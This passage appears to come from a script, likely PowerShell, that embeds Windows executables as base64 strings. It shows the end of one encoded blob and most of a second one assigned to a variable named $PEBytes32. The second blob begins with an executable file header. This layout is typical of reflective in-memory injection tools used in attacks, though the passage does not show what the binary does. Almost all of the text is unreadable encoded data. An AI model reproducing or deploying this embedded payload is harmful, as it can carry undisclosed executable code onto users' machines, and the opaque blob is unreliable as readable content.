odihAKIwopCi4KKYo6CjqKOwo7ijwKPIo9Cj2KPgo+ij8KP4owCkCKQQpBikIKQopDCkOKRApEikUKRYpGCkaKRwpHikgKSIpJCkmKSgpKiksKS4pMCkyKTQpNikKKVQpbCl0KUApmCmkKbwplCnoKfwp0CoiKgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" + $PEBytes32 = "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